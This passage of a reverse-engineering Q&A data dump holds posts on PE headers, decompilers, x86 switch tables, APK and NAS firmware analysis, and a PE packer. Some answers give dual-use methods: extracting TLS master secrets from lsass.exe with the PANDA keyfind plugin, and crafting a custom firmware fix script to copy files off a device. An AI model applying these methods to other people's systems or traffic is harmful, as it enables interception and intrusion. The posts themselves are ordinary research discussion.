  <row Id="2691" PostTypeId="2" ParentId="2689" CreationDate="2013-08-25T15:51:40.227" Score="12" Body="&lt;p&gt;Windows 8 introduces a new restriction: the &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; can't be smaller than &lt;code&gt;SizeOfHeaders&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;SizeOfHeaders&lt;/code&gt; to &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; to &lt;a href=&quot;http://code.google.com/p/corkami/source/diff?spec=svn1731&amp;amp;old=1729&amp;amp;r=1731&amp;amp;format=unidiff&amp;amp;path=/trunk/src/PE/mini.asm&quot; rel=&quot;nofollow&quot;&gt;make it work&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error you get is defined in &lt;code&gt;ntstatus.h&lt;/code&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// MessageId: STATUS_INVALID_IMAGE_FORMAT&#xA;//&#xA;// MessageText:&#xA;//&#xA;// {Bad Image}&#xA;// %hs is either not designed to run on Windows or it contains an error. Try installing the program again using the original installation media or contact your system administrator or the software vendor for support. Error status 0x%08lx.&#xA;//&#xA;#define STATUS_INVALID_IMAGE_FORMAT      ((NTSTATUS)0xC000007BL)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="188" LastEditorUserId="245" LastEditDate="2013-08-26T18:42:23.173" LastActivityDate="2013-08-26T18:42:23.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2692" PostTypeId="2" ParentId="2688" CreationDate="2013-08-25T17:19:13.317" Score="4" Body="&lt;p&gt;you can get pretty decent results with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow&quot;&gt;.NET Reflector 8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ilspy.net/&quot; rel=&quot;nofollow&quot;&gt;ILSpy&lt;/a&gt; - is an open source project. I had experience with it in the past and it gave very good results.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-08-26T13:57:02.120" LastActivityDate="2013-08-26T13:57:02.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2693" PostTypeId="2" ParentId="2688" CreationDate="2013-08-26T02:20:26.790" Score="1" Body="&lt;p&gt;To build off of what the last user said, either Reflector or IlSpy will do the job. However that being said I'd recommend IlSpy over Reflector. Both of them will decompile the program into the intermediate language to roughly the same results but I've had better experiences (i.e. smoother, easier) parsing variable values using IlSpy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if it's your own code and you remember what all of your variable values are then either one will work fine. Just my two cents.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2013-08-26T02:20:26.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2695" PostTypeId="2" ParentId="2681" CreationDate="2013-08-26T21:54:11.953" Score="16" Body="&lt;p&gt;If you have access to the binary while it is running, it is entirely possible to extract the keys you need to decrypt the SSL/TLS session &lt;em&gt;even with perfect forward secrecy&lt;/em&gt;. There is a 48-byte secret, called the master secret, which is shared by both sides and used to generate the session keys for the connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the application uses the standard Win32 API to make the SSL connection, the point to intercept the key generation is inside &lt;code&gt;lsass.exe&lt;/code&gt;, at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Caller:  ncrypt!_Tls1ComputeMasterKey@32+0x57 &#xA;EIP:     ncrypt!_PRF@40+0x11a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information can be found in &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1326/257&quot;&gt;my answer to &quot;Decryping TLS packets between Windows 8 apps and Azure&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally, I have (with several excellent co-authors) recently developed techniques for scanning all memory accesses for interesting data such as SSL/TLS keys. A paper on this (&quot;&lt;a href=&quot;http://cc.gatech.edu/~brendan/tzb_author.pdf&quot; rel=&quot;noreferrer&quot;&gt;Tappan Zee (North) Bridge: Mining Memory Accesses for Introspection&lt;/a&gt;&quot;) has been published at CCS, and the software to do it is available on github: &lt;a href=&quot;https://github.com/moyix/panda&quot; rel=&quot;noreferrer&quot;&gt;PANDA/TZB&lt;/a&gt;. Particularly take a look at the &lt;code&gt;keyfind&lt;/code&gt; plugin, which takes a sample (encrypted) packet and scans memory accesses for TLS master secrets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The procedure for finding the place where TLS master key generation happens with a new application is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use PANDA to create a recording of the app making an encrypted connection, and save a packet capture (in the QEMU monitor, &lt;code&gt;begin_record &amp;lt;session_name&amp;gt;&lt;/code&gt;, run the app, then &lt;code&gt;end_record &amp;lt;session_name&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;scripts/list_enc.py&lt;/code&gt; on the packet capture to extract the information needed by the &lt;code&gt;keyfind&lt;/code&gt; plugin. Place this information in &lt;code&gt;keyfind_config.txt&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Run a replay of the session (&lt;code&gt;begin_replay &amp;lt;session_name&amp;gt;&lt;/code&gt; in the QEMU monitor) with &lt;code&gt;-panda-plugin x86_64-softmmu/panda_plugins/panda_keyfind.so&lt;/code&gt; specified on the command line. After a (very) long time, it will spit out the code locations where a matching TLS key was read or written to &lt;code&gt;key_matches.txt&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The documentation is pretty sketchy at the moment, but looking at the source should resolve any questions you have (and feel free to ask for clarification here!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on using panda for this see: &lt;a href=&quot;https://github.com/moyix/panda/blob/master/docs/panda_ssltut.md&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-09-05T13:17:34.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2696" PostTypeId="2" ParentId="2357" CreationDate="2013-08-27T04:06:42.003" Score="1" Body="&lt;p&gt;I am the editor of the bitmap2lcd shareware tool for Dot Matrix LCD programming.&#xA;It converts images/fonts to arrays , but unfortunately not arrays to images ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently a customer asked me if it is planned in the future to implement this kind of reverse conversion and now I read this article...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I begin to question myself if I finally should code this feature ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any comments ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards &#xA;Bernie&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2013-08-27T04:06:42.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2698" PostTypeId="1" AcceptedAnswerId="2702" CreationDate="2013-08-27T12:45:00.983" Score="5" ViewCount="215" Body="&lt;p&gt;Assume I use a software to encrypt data. How would I go about to find out with IDA or other RCE tools as to whether there is more than one key used during the encryption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking asymmetric encryption here, and it is possible that the software in question hides one or more master keys (or makes use of some already elsewhere on the system) and I want to find that out. How can I approach that task?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: you may assume I have determined the various algorithms in use.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-08-29T14:41:05.617" Title="Find out whether additional keys are being used when encrypting data" Tags="|disassembly|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2699" PostTypeId="1" AcceptedAnswerId="2700" CreationDate="2013-08-27T13:56:28.000" Score="7" ViewCount="819" Body="&lt;p&gt;I have come across the following x86 (Built with some version of Visual Studio AFAIK) switch statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x1009E476  cmp edx, 0x3B&#xA;0x1009E479  jnz switch_statement&#xA;&#xA;switch_statement:&#xA;0x1009E591  movzx ecx, byte [indirect_table+edx]&#xA;0x1009E598  jmp dword [table1+ecx*4]&#xA;&#xA;indirect_table:&#xA;0x1009E7AB  db 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07&#xA;            db 0x07, 0x07, 0x06, 0x8B, 0xFF&#xA;&#xA;table1:&#xA;0x1009E7B8  dd ptr code1&#xA;            dd ptr code2&#xA;            dd ptr code3&#xA;            dd ptr code4&#xA;            dd ptr code5&#xA;            dd ptr code6&#xA;            dd 0x00000000 &#xA;0x1009E7D4  dd 0x01060600, 0x06020606, 0x06060306, 0x06060606 ; Note: nothing directly references this data.&#xA;            dd 0x06040606, 0x06060606, 0x06060606, 0x06060606&#xA;            dd 0x06060606, 0x06060606, 0x06060606, 0x06060606&#xA;            dd 0x06060606, 0x06060606, 0x06060606, 0x06060606&#xA;            dd 0x06060606&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No index in the &lt;code&gt;indirect_table&lt;/code&gt; will end up referencing any of the 6 pointers in &lt;code&gt;table1&lt;/code&gt;. Index 6 will dereference a null pointer, index 7 will dereference &lt;code&gt;0x01060600&lt;/code&gt; and indexes &lt;code&gt;0x8B&lt;/code&gt; and &lt;code&gt;0xFF&lt;/code&gt; will end up dereferencing garbage. So everything will end up access violating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So perhaps this is a compiler optimization, the data at table1 following the 6 code pointers and 1 null pointer looks like an indirect table, and coincidentally all indexes are suitable for this switch statement (0-6). While the binary has no references to this data, if &lt;code&gt;EBX&lt;/code&gt; was known to be &lt;code&gt;0x29&lt;/code&gt; or upwards, it would reference into this. The compiler may have decided &lt;code&gt;EBX&lt;/code&gt; will not be &lt;code&gt;0&lt;/code&gt;-&lt;code&gt;0x29&lt;/code&gt; so moved the indirect table location backwards to line things up correctly. What then is the role of &lt;code&gt;cmp edx, 0x3B&lt;/code&gt; in this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this a compiler code gen issue, a compiler optimization, or have I grossly misunderstood the code?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an optimization, any supporting reading material would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="123" LastEditorUserId="53" LastEditDate="2013-08-27T15:17:50.243" LastActivityDate="2013-08-27T15:17:50.243" Title="Unusual x86 switch statement?" Tags="|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2700" PostTypeId="2" ParentId="2699" CreationDate="2013-08-27T14:26:59.597" Score="7" Body="&lt;p&gt;Either there is a check somewhere before, or the compiler knows otherwise that &lt;code&gt;edx&lt;/code&gt; is not less than 41 (0x29). 0x3B is probably handled by a single switch label, so the compiler added this check to avoid the double memory lookup (or maybe there's an actual &lt;code&gt;if&lt;/code&gt; before &lt;code&gt;switch&lt;/code&gt; in the source).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table at 0x1009E7D4 is used to retrieve the jump table entry index - Visual C++ compiler always puts the indirect table after the jumps. 0x1009E7AB is likely a part of the previous switch's indirect table. And &lt;code&gt;8B FF&lt;/code&gt; is &lt;code&gt;mov edi, edi&lt;/code&gt;, used here for alignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This specific optimization (no subtraction for zero-indexing) seems to be pretty rare; I think I've only seen it in Windows DLLs which often use PGO and other tricks to achieve the last few percents of performance.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-08-27T14:26:59.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2701" PostTypeId="2" ParentId="2698" CreationDate="2013-08-27T15:12:14.153" Score="5" Body="&lt;p&gt;Statically, use IDA to find all cross-references to the &quot;various algorithms in use&quot; to determine how they find the keys they use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dynamically, use a debugger to set breakpoints on the &quot;various algorithms in use&quot;, thereby allowing you to examine the callstacks and determine how they find the keys they use.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-08-27T15:12:14.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2702" PostTypeId="2" ParentId="2698" CreationDate="2013-08-27T15:13:48.057" Score="5" Body="&lt;p&gt;Assuming the you are speaking about strong encryption, most of the algorithms are supposed to be &lt;a href=&quot;http://en.wikipedia.org/wiki/Ciphertext_indistinguishability&quot; rel=&quot;nofollow&quot;&gt;indistinguishable&lt;/a&gt; even if you provided either the key or the clear text. So, it should not be possible to know that a given key is used  just by looking at the result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example of this is the field of &lt;a href=&quot;http://en.wikipedia.org/wiki/Kleptography&quot; rel=&quot;nofollow&quot;&gt;Kleptography&lt;/a&gt; where:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] the outputs of the infected cryptosystem are computationally indistinguishable from the outputs of the corresponding uninfected cryptosystem. Hence, in black-box implementations (e.g., smartcards) the attack is likely to go entirely unnoticed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you may have noticed, the Kleptography is safe only on black-box implementations, so there indeed room for detection in white-box attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I have not enough experience in this topic to give you general advices about it. Except the fact that you should start to look at real World implementation of cryptographic backdoors before trying to detect it. You may want to explore some of these links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.infosecurity-magazine.com/view/30852/the-dark-side-of-cryptography-kleptography-in-blackbox-implementations/&quot; rel=&quot;nofollow&quot;&gt;The Dark Side of Cryptography: Kleptography in Black-Box Implementations&lt;/a&gt;, by Bernhard Esslinger and Patrick Vacek.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eprint.iacr.org/2002/183&quot; rel=&quot;nofollow&quot;&gt;Simple backdoors to RSA key generation&lt;/a&gt;, by Claude Crépeau and Alain Slakmon.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cryptovirology.com/cryptovfiles/research.html&quot; rel=&quot;nofollow&quot;&gt;Papers about Cryptovirology&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.iis.sinica.edu.tw/papers/mn/8101-F.pdf&quot; rel=&quot;nofollow&quot;&gt;A Comprehensive Study of Backdoors for RSA Key Generation&lt;/a&gt;, by Ting-Yu Lin, Hung-Min Sun and Mu-En Wu.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And so on...&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-08-29T14:41:05.617" LastActivityDate="2013-08-29T14:41:05.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2703" PostTypeId="1" CreationDate="2013-08-28T05:51:35.077" Score="25" ViewCount="36318" Body="&lt;p&gt;I am an Android app developer, and recently I encountered a problem with in-app purchase. I discovered that in some apps, in-app purchases can be done for free using &lt;a href=&quot;http://system.in-appstore.com/freedom/&quot;&gt;this application&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this app generates free cards but the proportion of free cards being generated is very high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I analyze the &lt;code&gt;.apk&lt;/code&gt; file? What basic steps should I follow to reverse engineer the &lt;code&gt;.apk&lt;/code&gt; and get an idea of the application logic?&lt;/p&gt;&#xA;" OwnerUserId="2721" LastEditorUserId="189" LastEditDate="2013-08-28T09:43:12.130" LastActivityDate="2021-12-06T05:16:52.673" Title="How do I analyze a .apk file and understand its working?" Tags="|android|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2704" PostTypeId="1" AcceptedAnswerId="2714" CreationDate="2013-08-28T14:14:31.663" Score="23" ViewCount="19222" Body="&lt;p&gt;I'm trying to analyse the firmware image of a NAS device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used various tools to help the analysis (binwalk, deezee, signsrch, firmware-mod-kit which uses binwalk AFAIK), but all of them have been unsuccessful so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example binwalk seems to generate false positive regarding gzip compressed data and Cisco IOS experimental microcode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scan Time:     2013-08-27 14:52:15&#xA;Signatures:    196&#xA;Target File:   firmware.img&#xA;MD5 Checksum:  4d34d45db310bf599b62370f92d0a425&#xA;&#xA;DECIMAL         HEX             DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------------------&#xA;80558935        0x4CD3B57       gzip compressed data, ASCII, has CRC, last modified: Fri Oct  4 17:37:33 2019&#xA;82433954        0x4E9D7A2       Cisco IOS experimental microcode&#xA;145038048       0x8A51AE0       gzip compressed data, ASCII, extra field, last modified: Mon May 26 20:11:40 2014  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When trying to decompress the data I got the following error using gunzip/gzip&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gzip: 4CD3B57.gz is a multi-part gzip file -- not supported&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to gzip FAQ (&lt;a href=&quot;http://www.gzip.org/#faq2&quot;&gt;http://www.gzip.org/#faq2&lt;/a&gt;) this is due to a transfer not made in binary mode which has corrupted the gzip header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks more like a false positive from binwalk to me mostly because the magic number used to identify gzip data can easily trigger false positive and the dates are wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also ran strings and hexdump command in order to have an idea of the contents of the file and try to identify known pattern but it didn't help much so far (I probably lack experience in that type of thing here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only non-gibberish/identifiable strings are located at the end of the firmware image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  f5 7b 47 03 d5 08 bf 64  ba e9 99 d8 48 cf 81 18  |.{G....d....H...|&#xA;00000010  b1 69 1e 2c c2 f3 46 6b  53 2b b7 63 e8 ce 78 c9  |.i.,..FkS+.c..x.|&#xA;00000020  87 fd b8 68 41 4d b2 61  71 cb cc 75 eb 8c e0 75  |...hAM.aq..u...u|&#xA;00000030  25 d1 ec bd 6d 46 e8 16  37 c6 f5 2e 2a e0 dc 07  |%...mF..7...*...|&#xA;00000040  65 b1 ce 7f 20 57 7c d7  cb 1d 91 fc 05 25 ad af  |e... W|......%..|&#xA;00000050  58 56 ff 13 4d 03 95 7f  ad 58 0e 84 85 2f 73 5c  |XV..M....X.../s\|&#xA;00000060  d9 19 d4 d4 2c 27 be c6  45 f2 9f a4 b1 e1 04 f1  |....,'..E.......|&#xA;00000070  c1 28 17 9c e1 f7 9d 2b  63 c3 7d e1 95 56 06 05  |.(.....+c.}..V..|&#xA;[...]&#xA;09ec9d60  4b 29 75 20 46 6e fb e3  0f 14 d4 93 54 8e 4f bb  |K)u Fn......T.O.|&#xA;09ec9d70  4b ab 91 bf e7 8a b9 4e  c8 ff 87 17 93 19 e9 3f  |K......N.......?|&#xA;09ec9d80  70 fe a6 9f d3 36 48 83  34 48 83 34 48 83 34 48  |p....6H.4H.4H.4H|&#xA;09ec9d90  83 34 48 83 34 48 83 34  48 83 34 48 83 34 48 83  |.4H.4H.4H.4H.4H.|&#xA;09ec9da0  34 48 83 34 48 83 34 48  83 34 48 83 34 48 83 34  |4H.4H.4H.4H.4H.4|&#xA;09ec9db0  48 83 34 48 83 34 48 83  34 48 83 34 48 83 24 a7  |H.4H.4H.4H.4H.$.|&#xA;09ec9dc0  ff 07 e9 0d 37 73 00 20  08 0a 69 63 70 6e 61 73  |....7s. ..icpnas|&#xA;09ec9dd0  00 00 10 00 54 53 2d 35  36 39 00 00 00 00 00 00  |....TS-569......|&#xA;09ec9de0  00 00 00 00 33 2e 38 2e  33 00 00 00 00 00 00 00  |....3.8.3.......|&#xA;09ec9df0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;09ec9e14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is the first time I'm going through that type of exercise and I'm not sure what I should do next. The image seems to be obfuscated somehow (that might be a wrong assumption).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have suggestions/tricks that could help me make some progress?&lt;/p&gt;&#xA;" OwnerUserId="2724" LastEditorUserId="2724" LastEditDate="2013-08-28T16:07:19.400" LastActivityDate="2015-02-20T08:00:37.237" Title="Firmware analysis and file system extraction?" Tags="|obfuscation|file-format|firmware|embedded|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2705" PostTypeId="2" ParentId="2704" CreationDate="2013-08-28T16:54:53.457" Score="4" Body="&lt;p&gt;The file indeed looks encrypted or obfuscated. It might be possible to figure it out using some cryptoanalysis (that &lt;code&gt;34 48 83&lt;/code&gt; sequence at the end doesn't look random), but you'll probably be better off looking into finding UART or JTAG pins, or maybe a running telnet server or another service which may give you a way in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: At the &lt;a href=&quot;http://www.qnap.com/v3/en/product_x_down/product_down.php?temp_name=TS-569%20Pro&quot; rel=&quot;nofollow&quot;&gt;download page&lt;/a&gt; for the NAS, there are smaller downloads called &quot;Qfix&quot;. They seem to be simple self-extracting shell script+tar.gz data. I suggest you try making your own .qfix with a shell script that would copy files off the device instead of the normal behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is the file footer which is probably used for integrity checking. The number next to &quot;SambaFix&quot; looks like some checksum.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-08-28T17:15:01.667" LastActivityDate="2013-08-28T17:15:01.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2707" PostTypeId="2" ParentId="2072" CreationDate="2013-08-28T19:12:49.827" Score="3" Body="&lt;p&gt;call $+5 is &lt;code&gt;5 byte&lt;/code&gt; (e8 00000000) &#xA;pop reg is &lt;code&gt;1 byte&lt;/code&gt;&#xA;add reg  will be &lt;code&gt;3 and more bytes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you require  &lt;code&gt;call $+5&lt;/code&gt; to become &lt;code&gt;mov reg , const&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you first need to compute the return address + the value of constant &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your case the address of &lt;code&gt;pop reg + 0xbe96&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then use a &lt;code&gt;5 byte mov REG, computed value&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that leaves &lt;code&gt;4 + bytes&lt;/code&gt; which you need to nop out so that the execution path remains the same  if you did not nop the bytes then the left out garbage bytes can alter the execution path&lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-08-28T19:12:49.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2708" PostTypeId="1" AcceptedAnswerId="2711" CreationDate="2013-08-29T00:05:38.870" Score="6" ViewCount="938" Body="&lt;p&gt;I am toying with writing a basic PE packer, whose job is simply to execute the attached target PE in memory. I have spent a couple of days getting intimate with the format, and I think that I have grasped it well enough for the purpose. These are the methods I use:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Firstly, the target is bundled with the loader by being inserted into the &lt;code&gt;.data&lt;/code&gt; section of a &lt;a href=&quot;http://www.nasm.us/&quot; rel=&quot;noreferrer&quot;&gt;nasm&lt;/a&gt; generated object file, which is later compiled together with the loader.&lt;/li&gt;&#xA;&lt;li&gt;Upon execution, the Image Data Directory is examined, and the Import Address Table properly bound by loading the needed libraries and functions.&lt;/li&gt;&#xA;&lt;li&gt;The PE and all of its sections need to be properly laid out in memory, hence &lt;code&gt;ImageBase&lt;/code&gt; and &lt;code&gt;SizeOfImage&lt;/code&gt; are read, and sufficient virtual memory is allocated for the next two operations.&lt;/li&gt;&#xA;&lt;li&gt;PE headers are written into the new location.&lt;/li&gt;&#xA;&lt;li&gt;Section data is gathered via section headers, and every section gets written into the new memory space, each into its designated virtual address. Proper permissions via &lt;code&gt;VirtualProtect()&lt;/code&gt; are also set.&lt;/li&gt;&#xA;&lt;li&gt;Finally, &lt;code&gt;OptionalHeader.AddressOfEntryPoint&lt;/code&gt; gets called.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The loader, of course, has an exotic image base, as to not conflict with the standard &lt;code&gt;0x00400000&lt;/code&gt; base. My problems lies somewhere along there. Almost every &lt;code&gt;.exe&lt;/code&gt; has its relocations table stripped, so there's no way to do a base relocation if the desired base address is unavailable. The loader having a non-standard image base solves the problem to an extent. The target's desired base is only available in about 50% of runs. I've tried to find out what might occupy the memory in the other 50%, and have found out that it's almost always a &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff563684%28v=vs.85%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;section view&lt;/a&gt;. Of what, or whose, I don't know. I've tried to use both &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; and &lt;code&gt;NtFreeVirtualMemory&lt;/code&gt;, but they don't solve the problem. The first seems to introduce memory corruption and the second does nothing. Is there any way of claiming that memory? Here's a screenshot from ProcessHacker:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sfrwq.png&quot; alt=&quot;&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All ideas are welcome.&lt;/p&gt;&#xA;" OwnerUserId="2726" LastActivityDate="2020-04-16T06:00:59.603" Title="A PE packer: issues with the packed image base address" Tags="|pe|packers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2709" PostTypeId="2" ParentId="2703" CreationDate="2013-08-29T07:01:46.563" Score="15" Body="&lt;h2&gt;Basic steps to analyse an android APK&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Analysing a APK is like any reverse engineering process. If there is no-prior knowledge I do assume you know Java and like to puzzle. Lets have a look at the most basic steps of reversing an APK.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first and most important rule in Reverse Engineering is, you want to know what makes it tick. This requires research, thus first research how APK works.&lt;/li&gt;&#xA;&lt;li&gt;First I would read the basic information about the file format, use Wikipedia ( &lt;a href=&quot;http://en.wikipedia.org/wiki/APK_(file_format)&quot; rel=&quot;nofollow noreferrer&quot;&gt;APK on Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;After having an idea what I want to reverse I'll look for known tooling, either use Google or recommended &lt;a href=&quot;http://www.woodmann.com/collaborative/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Woodmann&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ok, so Wikipedia said it was a zip file. So first unzip it, then pick-up the file and tooling that you are interested in ( classes.dex )&lt;/li&gt;&#xA;&lt;li&gt;A quick Google resulted produced a &lt;a href=&quot;https://stackoverflow.com/questions/1249973/decompiling-dex-into-java-sourcecode&quot; title=&quot;Dex2Jar&quot;&gt;stackoverflow question&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;After that you got Java, so woodmann has some Java decompilation tools. &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Category:Java_Decompilers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java Decompilation at Woodmann&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Good luck, don't give up and remember if it's hard it is worth it. If it is too hard, try harder. :)&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="19171" LastEditDate="2020-04-04T09:32:15.113" LastActivityDate="2020-04-04T09:32:15.113" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2710" PostTypeId="2" ParentId="2521" CreationDate="2013-08-29T07:16:03.863" Score="4" Body="&lt;p&gt;Your choice of decompiler can greatly affect the outcome. You should try either JODE, or Fernflower (which I believe goes by Androchef).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before decompiling, it might be a good idea to do some simple deobfuscation yourself. For example, you could try&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Remapping of Java keywords that have been used as class/method/variable names to legal Java identifiers. This task is very easy to do by using the Remapping adapters provided by the ASM library, &lt;a href=&quot;http://asm.ow2.org/asm40/javadoc/user/org/objectweb/asm/commons/RemappingClassAdapter.html&quot; rel=&quot;nofollow&quot;&gt;http://asm.ow2.org/asm40/javadoc/user/org/objectweb/asm/commons/RemappingClassAdapter.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some simple reorganization of blocks. Many obfuscators will stick gotos into awkward places that would be &quot;within a single expression&quot; in the Java source code, e.g. pushing something to the stack, then jumping, then storing it to a local variable in the destination is perfectly viable in bytecode, but understanding that the bytecode is simply doing var = value might give some decompilers a hard 